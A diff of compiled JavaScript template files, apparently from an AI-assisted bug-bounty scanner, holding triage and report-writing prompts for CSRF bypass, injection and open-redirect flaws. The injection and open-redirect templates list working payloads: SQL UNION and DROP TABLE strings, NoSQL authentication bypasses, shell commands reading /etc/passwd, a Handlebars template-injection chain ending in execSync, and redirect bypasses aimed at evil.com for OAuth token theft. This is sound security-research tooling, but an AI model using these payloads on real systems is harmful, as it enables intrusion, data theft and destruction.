|
51
|
+
'TLD-level wildcard (*.com matches evil.com)',
|
|
52
|
+
'Null origin via sandboxed iframe',
|
|
53
|
+
'Subdomain takeover under allowed wildcard',
|
|
54
|
+
'HTTP method override (_method parameter)',
|
|
55
|
+
'Content-type trick (form vs JSON)',
|
|
56
|
+
'Missing token validation on specific endpoints',
|
|
57
|
+
],
|
|
58
|
+
specReferences: [
|
|
59
|
+
'RFC 6454 (Web Origin Concept)',
|
|
60
|
+
'RFC 6265bis (SameSite cookies)',
|
|
61
|
+
'Fetch Standard Section 3.2',
|
|
62
|
+
],
|
|
63
|
+
severityRange: ['medium', 'critical'],
|
|
64
|
+
};
|
|
65
|
+
//# sourceMappingURL=csrf-bypass.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"csrf-bypass.js","sourceRoot":"","sources":["../../../src/hunt/templates/csrf-bypass.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,UAAU,GAA0B;IAC/C,EAAE,EAAE,aAAa;IACjB,IAAI,EAAE,aAAa;IACnB,GAAG,EAAE,SAAS;IACd,YAAY,EAAE,CAAC,MAAM,EAAE,QAAQ,EAAE,SAAS,EAAE,WAAW,EAAE,YAAY,CAAC;IACtE,gBAAgB,EAAE,EAAE;IACpB,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;kEAoBkD;IAEhE,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;2DAqByC;IAEzD,aAAa,EAAE;QACb,6CAA6C;QAC7C,kCAAkC;QAClC,2CAA2C;QAC3C,0CAA0C;QAC1C,mCAAmC;QACnC,gDAAgD;KACjD;IACD,cAAc,EAAE;QACd,+BAA+B;QAC/B,gCAAgC;QAChC,4BAA4B;KAC7B;IACD,aAAa,EAAE,CAAC,QAAQ,EAAE,UAAU,CAAC;CACtC,CAAC"}
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
import { csrfBypass } from './csrf-bypass.js';
|
|
2
|
+
import { ssrf } from './ssrf.js';
|
|
3
|
+
import { weakRandom } from './weak-random.js';
|
|
4
|
+
import { authBypass } from './auth-bypass.js';
|
|
5
|
+
import { corsMisconfig } from './cors-misconfig.js';
|
|
6
|
+
import { pathTraversal } from './path-traversal.js';
|
|
7
|
+
import { injection } from './injection.js';
|
|
8
|
+
import { openRedirect } from './open-redirect.js';
|
|
9
|
+
import { prototypePollution } from './prototype-pollution.js';
|
|
10
|
+
import { timingAttack } from './timing-attack.js';
|
|
11
|
+
const templates = [
|
|
12
|
+
csrfBypass,
|
|
13
|
+
ssrf,
|
|
14
|
+
weakRandom,
|
|
15
|
+
authBypass,
|
|
16
|
+
corsMisconfig,
|
|
17
|
+
pathTraversal,
|
|
18
|
+
injection,
|
|
19
|
+
openRedirect,
|
|
20
|
+
prototypePollution,
|
|
21
|
+
timingAttack,
|
|
22
|
+
];
|
|
23
|
+
export function getAllTemplates() {
|
|
24
|
+
return templates;
|
|
25
|
+
}
|
|
26
|
+
export function getTemplateById(id) {
|
|
27
|
+
return templates.find(t => t.id === id);
|
|
28
|
+
}
|
|
29
|
+
//# sourceMappingURL=index.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../../src/hunt/templates/index.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAC9C,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAC;AACjC,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAC9C,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAC9C,OAAO,EAAE,aAAa,EAAE,MAAM,qBAAqB,CAAC;AACpD,OAAO,EAAE,aAAa,EAAE,MAAM,qBAAqB,CAAC;AACpD,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAC3C,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAClD,OAAO,EAAE,kBAAkB,EAAE,MAAM,0BAA0B,CAAC;AAC9D,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAElD,MAAM,SAAS,GAA4B;IACzC,UAAU;IACV,IAAI;IACJ,UAAU;IACV,UAAU;IACV,aAAa;IACb,aAAa;IACb,SAAS;IACT,YAAY;IACZ,kBAAkB;IAClB,YAAY;CACb,CAAC;AAEF,MAAM,UAAU,eAAe;IAC7B,OAAO,SAAS,CAAC;AACnB,CAAC;AAED,MAAM,UAAU,eAAe,CAAC,EAAU;IACxC,OAAO,SAAS,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,EAAE,CAAC,CAAC;AAC1C,CAAC"}
|
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
export const injection = {
|
|
2
|
+
id: 'injection',
|
|
3
|
+
name: 'Injection (SQL, NoSQL, Command)',
|
|
4
|
+
cwe: 'CWE-89',
|
|
5
|
+
filePatterns: ['query', 'exec', 'eval', 'sql', 'mongo', 'command', 'shell', 'spawn', 'template'],
|
|
6
|
+
negativePatterns: ['prisma', 'drizzle', 'typeorm', 'sequelize', 'knex', 'mongoose'],
|
|
7
|
+
minMatchScore: 2,
|
|
8
|
+
triagePrompt: `You are a security researcher hunting for injection vulnerabilities (SQL, NoSQL, command injection).
|
|
9
|
+
|
|
10
|
+
Analyze the code for places where user input is concatenated into queries, commands, or evaluated expressions without proper parameterization or sanitization. Focus on:
|
|
11
|
+
1. Raw SQL string construction — is user input interpolated into SQL via template literals or concatenation?
|
|
12
|
+
2. NoSQL operator injection — can user input supply MongoDB operators like $gt, $regex, $where?
|
|
13
|
+
3. Command injection — is user input passed to child_process.exec(), execSync(), or spawn with shell: true?
|
|
14
|
+
4. Template injection — is user input rendered via a template engine (handlebars, ejs, pug) without escaping?
|
|
15
|
+
5. eval() or Function() calls — is user-controlled data passed to JavaScript's eval?
|
|
16
|
+
6. Database escape bypasses — does custom sanitization miss edge cases that parameterized queries handle natively?
|
|
17
|
+
|
|
18
|
+
KNOWN BYPASS TECHNIQUES:
|
|
19
|
+
- String interpolation: \`SELECT * FROM users WHERE name = '\${name}'\` — classic SQL injection
|
|
20
|
+
- NoSQL operator: if body is JSON, {password: {$gt: ""}} bypasses equality check in MongoDB
|
|
21
|
+
- Command injection: exec('ls ' + userInput) — user provides '; cat /etc/passwd'
|
|
22
|
+
- spawn shell:true: spawn('bash', ['-c', 'ls ' + userInput]) same risk as exec
|
|
23
|
+
- Template injection (SSTI): {{7*7}} in Handlebars, <%= 7*7 %> in EJS — escalates to RCE
|
|
24
|
+
- Second-order injection: stored value is safe at insert but injected when later used in a query
|
|
25
|
+
- ORM raw queries: orm.query("SELECT * FROM t WHERE id = " + id) — ORMs still have raw query escapes
|
|
26
|
+
|
|
27
|
+
WHAT TO LOOK FOR:
|
|
28
|
+
- Template literal SQL: \`SELECT... WHERE id = \${req.params.id}\`
|
|
29
|
+
- String concat: "SELECT..." + userValue + "..."
|
|
30
|
+
- db.collection.find({ username: req.body.username }) where body is JSON (type not enforced)
|
|
31
|
+
- exec(\`cmd \${userInput}\`) or execSync with user data
|
|
32
|
+
- eval(userInput) anywhere
|
|
33
|
+
|
|
34
|
+
FRAMEWORK-SPECIFIC RISKS:
|
|
35
|
+
- MongoDB: req.body passed directly to find() — JSON body allows operator injection
|
|
36
|
+
- Redis: if EVAL or raw command strings accept user data
|
|
37
|
+
- Elasticsearch: query string parameters passed to _search API
|
|
38
|
+
|
|
39
|
+
RELEVANT SPECIFICATIONS:
|
|
40
|
+
- OWASP Injection Prevention Cheat Sheet
|
|
41
|
+
- CWE-89 (SQL Injection), CWE-943 (NoSQL Injection), CWE-78 (OS Command Injection)`,
|
|
42
|
+
deepDivePrompt: `You are an expert security researcher writing a bug bounty report for an injection vulnerability.
|
|
43
|
+
|
|
44
|
+
Given the hypothesis below, verify whether the vulnerability is real and exploitable.
|
|
45
|
+
|
|
46
|
+
Build a complete attack scenario:
|
|
47
|
+
1. What user-controlled value reaches the query/command without sanitization?
|
|
48
|
+
2. What is the injection point (SQL, NoSQL operator, shell command, template expression)?
|
|
49
|
+
3. What payload triggers the vulnerability?
|
|
50
|
+
4. What data can be exfiltrated, or what command can be run on the server?
|
|
51
|
+
5. Provide a concrete HTTP request or payload as proof-of-concept.
|
|
52
|
+
|
|
53
|
+
SQL INJECTION EXPLOITATION LADDER:
|
|
54
|
+
- Boolean-based: ' OR '1'='1 → ' OR '1'='2 → enumerate DB
|
|
55
|
+
- Union-based: ' UNION SELECT username, password FROM users --
|
|
56
|
+
- Error-based: ' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
|
|
57
|
+
- Time-based blind: ' OR SLEEP(5) --
|
|
58
|
+
- Out-of-band: ' UNION SELECT LOAD_FILE('/etc/passwd') --
|
|
59
|
+
- Stacked queries (PostgreSQL/SQL Server): '; DROP TABLE users --
|
|
60
|
+
|
|
61
|
+
NOSQL INJECTION PAYLOADS:
|
|
62
|
+
\`\`\`json
|
|
63
|
+
// Authentication bypass
|
|
64
|
+
{"username": "admin", "password": {"$gt": ""}}
|
|
65
|
+
// Regex extraction
|
|
66
|
+
{"username": {"$regex": "^adm"}}
|
|
67
|
+
// $where (if enabled)
|
|
68
|
+
{"$where": "this.password.match(/.*/)"}
|
|
69
|
+
\`\`\`
|
|
70
|
+
|
|
71
|
+
COMMAND INJECTION PAYLOADS:
|
|
72
|
+
- Basic: ; whoami
|
|
73
|
+
- Subshell: $(whoami)
|
|
74
|
+
- Pipe: | cat /etc/passwd
|
|
75
|
+
- Background: && sleep 5 (time-based blind)
|
|
76
|
+
- Newline: \\nwhoami (if input used in shell heredoc)
|
|
77
|
+
|
|
78
|
+
TEMPLATE INJECTION:
|
|
79
|
+
- Handlebars: {{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}
|
|
80
|
+
|
|
81
|
+
RELEVANT SPECIFICATIONS:
|
|
82
|
+
- OWASP Injection Prevention Cheat Sheet
|
|
83
|
+
- CWE-89 (SQL Injection)
|
|
84
|
+
- CWE-78 (OS Command Injection)`,
|
|
85
|
+
knownBypasses: [
|
|
86
|
+
'Template literal SQL: `SELECT WHERE id = \${userInput}`',
|
|
87
|
+
'MongoDB operator injection: {password: {$gt: ""}}',
|
|
88
|
+
'Command injection via exec() with shell interpolation',
|
|
89
|
+
'spawn() with shell: true — same risk as exec()',
|
|
90
|
+
'Template engine SSTI → RCE (Handlebars, EJS)',
|
|
91
|
+
'Second-order injection (stored then retrieved into query)',
|
|
92
|
+
'ORM raw query escape hatch',
|
|
93
|
+
'NoSQL $where clause with JavaScript execution',
|
|
94
|
+
],
|
|
95
|
+
specReferences: [
|
|
96
|
+
'OWASP Injection Prevention Cheat Sheet',
|
|
97
|
+
'CWE-89 (SQL Injection)',
|
|
98
|
+
'CWE-943 (NoSQL Injection)',
|
|
99
|
+
'CWE-78 (OS Command Injection)',
|
|
100
|
+
],
|
|
101
|
+
severityRange: ['high', 'critical'],
|
|
102
|
+
};
|
|
103
|
+
//# sourceMappingURL=injection.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"injection.js","sourceRoot":"","sources":["../../../src/hunt/templates/injection.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,SAAS,GAA0B;IAC9C,EAAE,EAAE,WAAW;IACf,IAAI,EAAE,iCAAiC;IACvC,GAAG,EAAE,QAAQ;IACb,YAAY,EAAE,CAAC,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,KAAK,EAAE,OAAO,EAAE,SAAS,EAAE,OAAO,EAAE,OAAO,EAAE,UAAU,CAAC;IAChG,gBAAgB,EAAE,CAAC,QAAQ,EAAE,SAAS,EAAE,SAAS,EAAE,WAAW,EAAE,MAAM,EAAE,UAAU,CAAC;IACnF,aAAa,EAAE,CAAC;IAChB,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;mFAiCmE;IAEjF,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;gCA0Cc;IAE9B,aAAa,EAAE;QACb,yDAAyD;QACzD,mDAAmD;QACnD,uDAAuD;QACvD,gDAAgD;QAChD,8CAA8C;QAC9C,2DAA2D;QAC3D,4BAA4B;QAC5B,+CAA+C;KAChD;IACD,cAAc,EAAE;QACd,wCAAwC;QACxC,wBAAwB;QACxB,2BAA2B;QAC3B,+BAA+B;KAChC;IACD,aAAa,EAAE,CAAC,MAAM,EAAE,UAAU,CAAC;CACpC,CAAC"}
|
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
export const openRedirect = {
|
|
2
|
+
id: 'open-redirect',
|
|
3
|
+
name: 'Open Redirect',
|
|
4
|
+
cwe: 'CWE-601',
|
|
5
|
+
filePatterns: ['redirect', 'location', 'url', 'return', 'next', 'callback', 'continue', 'goto'],
|
|
6
|
+
triagePrompt: `You are a security researcher hunting for open redirect vulnerabilities.
|
|
7
|
+
|
|
8
|
+
Analyze the code for places where user-controlled input is used to construct redirect destinations without adequate validation. Focus on:
|
|
9
|
+
1. Direct parameter use — is a 'redirect', 'next', 'return', or 'callback' query parameter passed directly to a redirect?
|
|
10
|
+
2. Host validation — does validation check only that the URL contains a trusted domain, not that the domain IS the host?
|
|
11
|
+
3. Protocol filtering — are dangerous protocols (javascript:, data:, vbscript:) explicitly blocked?
|
|
12
|
+
4. Relative vs absolute — does the code attempt to make URLs relative but miss protocol-relative cases?
|
|
13
|
+
5. Post-auth redirects — are redirect parameters preserved through login flows and honored post-authentication?
|
|
14
|
+
6. Double encoding — does the server decode the redirect target once, allowing a second decode to escape validation?
|
|
15
|
+
|
|
16
|
+
KNOWN BYPASS TECHNIQUES:
|
|
17
|
+
- Protocol-relative URL: //evil.com/ — browser treats as https://evil.com on HTTPS pages
|
|
18
|
+
- Backslash: /\\evil.com — some browsers normalize to //evil.com, causing redirect to evil.com
|
|
19
|
+
- Data URI: data:text/html,<script>location='https://evil.com'</script>
|
|
20
|
+
- javascript: URI: javascript:location.href='https://evil.com'
|
|
21
|
+
- Encoded characters: /%65%76%69%6c.com (hex encoding of 'evil')
|
|
22
|
+
- Unicode chars: /℃evil.com — some normalizers resolve to /cevil.com, confusing parsers
|
|
23
|
+
- Newline injection: /redirect?url=https://good.com%0d%0aSet-Cookie:session=evil (header injection)
|
|
24
|
+
- Subdomain trick: https://trusted.com.evil.com/ passes contains('trusted.com') check
|
|
25
|
+
|
|
26
|
+
COMMON CODE PATTERNS TO FLAG:
|
|
27
|
+
- res.redirect(req.query.redirect) with no validation
|
|
28
|
+
- window.location = searchParams.get('next') in frontend code
|
|
29
|
+
- Header injection: Location: \${userValue} in raw HTTP response building
|
|
30
|
+
- allowedDomains.some(d => url.includes(d)) — contains check, not host equality
|
|
31
|
+
|
|
32
|
+
RELEVANT SPECIFICATIONS:
|
|
33
|
+
- CWE-601 (URL Redirection to Untrusted Site)
|
|
34
|
+
- RFC 7231 Section 7.1.2: Location header format`,
|
|
35
|
+
deepDivePrompt: `You are an expert security researcher writing a bug bounty report for an open redirect vulnerability.
|
|
36
|
+
|
|
37
|
+
Given the hypothesis below, verify whether the vulnerability is real and exploitable.
|
|
38
|
+
|
|
39
|
+
Build a complete attack scenario:
|
|
40
|
+
1. What parameter or input controls the redirect destination?
|
|
41
|
+
2. What validation (if any) is applied, and how is it bypassed?
|
|
42
|
+
3. What is the attack? (Phishing, OAuth token theft, credential harvesting)
|
|
43
|
+
4. Provide a concrete URL that triggers the redirect to an attacker-controlled site.
|
|
44
|
+
5. Explain why this is high/medium severity in this specific application context.
|
|
45
|
+
|
|
46
|
+
ATTACK SCENARIOS BY SEVERITY:
|
|
47
|
+
- OAuth redirect_uri open redirect → token theft: attacker crafts authorization URL with /callback?code=...&next=//evil.com, authorization code leaked in Referer header to evil.com → CRITICAL
|
|
48
|
+
- Post-login redirect → phishing: /login?next=//evil.com redirects user to fake login page after auth → HIGH
|
|
49
|
+
- Standalone redirect → phishing: /redirect?url=//evil.com — lower trust, still exploitable → MEDIUM
|
|
50
|
+
|
|
51
|
+
BYPASS PAYLOAD MATRIX:
|
|
52
|
+
\`\`\`
|
|
53
|
+
//evil.com (protocol-relative)
|
|
54
|
+
/\\evil.com (backslash normalization)
|
|
55
|
+
https://trusted.com@evil.com (credentials in URL, host is evil.com)
|
|
56
|
+
https://trusted.com.evil.com (subdomain of attacker)
|
|
57
|
+
javascript:alert(1) (javascript: URI)
|
|
58
|
+
data:text/html,<meta http-equiv=refresh content=0;url=https://evil.com>
|
|
59
|
+
%2f%2fevil.com (encoded //)
|
|
60
|
+
/%09/evil.com (tab character between slashes)
|
|
61
|
+
\`\`\`
|
|
62
|
+
|
|
63
|
+
OAUTH TOKEN THEFT SCENARIO:
|
|
64
|
+
1. Application has /auth/callback?code=...&next=<redirect>
|
|
65
|
+
2. Authorization server redirects to this callback with the code
|
|
66
|
+
3. Code is processed, then response redirects to 'next' parameter
|
|
67
|
+
4. Attacker sets next=https://evil.com — Referer header leaks code/token to evil.com
|
|
68
|
+
|
|
69
|
+
EVIDENCE TO INCLUDE:
|
|
70
|
+
- The full URL with bypass payload
|
|
71
|
+
- The HTTP 3xx response with the Location header showing evil.com
|
|
72
|
+
- Whether the victim's authenticated session cookies are also sent (most damaging case)
|
|
73
|
+
|
|
74
|
+
RELEVANT SPECIFICATIONS:
|
|
75
|
+
- CWE-601: URL Redirection to Untrusted Site
|
|
76
|
+
- RFC 7231 Section 7.1.2: Location header must be an absolute-form or relative reference`,
|
|
77
|
+
knownBypasses: [
|
|
78
|
+
'Protocol-relative URL: //evil.com/ bypasses https:// prefix check',
|
|
79
|
+
'Backslash normalization: /\\evil.com treated as //evil.com by browsers',
|
|
80
|
+
'URL credentials: https://trusted.com@evil.com (host is evil.com)',
|
|
81
|
+
'Subdomain trick: trusted.com.evil.com passes contains() check',
|
|
82
|
+
'javascript: URI for same-origin XSS',
|
|
83
|
+
'Double encoding: %252f%252fevil.com → %2f%2f → //evil.com',
|
|
84
|
+
'Newline injection in Location header (header splitting)',
|
|
85
|
+
'data: URI with meta-refresh',
|
|
86
|
+
],
|
|
87
|
+
specReferences: [
|
|
88
|
+
'CWE-601 (URL Redirection to Untrusted Site)',
|
|
89
|
+
'RFC 7231 Section 7.1.2 (Location header)',
|
|
90
|
+
],
|
|
91
|
+
severityRange: ['low', 'medium'],
|
|
92
|
+
};
|
|
93
|
+
//# sourceMappingURL=open-redirect.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"open-redirect.js","sourceRoot":"","sources":["../../../src/hunt/templates/open-redirect.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,YAAY,GAA0B;IACjD,EAAE,EAAE,eAAe;IACnB,IAAI,EAAE,eAAe;IACrB,GAAG,EAAE,SAAS;IACd,YAAY,EAAE,CAAC,UAAU,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,MAAM,EAAE,UAAU,EAAE,UAAU,EAAE,MAAM,CAAC;IAC/F,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;iDA4BiC;IAE/C,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;yFAyCuE;IAEvF,aAAa,EAAE;QACb,mEAAmE;QACnE,wEAAwE;QACxE,kEAAkE;QAClE,+DAA+D;QAC/D,qCAAqC;QACrC,2DAA2D;QAC3D,yDAAyD;QACzD,6BAA6B;KAC9B;IACD,cAAc,EAAE;QACd,6CAA6C;QAC7C,0CAA0C;KAC3C;IACD,aAAa,EAAE,CAAC,KAAK,EAAE,QAAQ,CAAC;CACjC,CAAC"}
|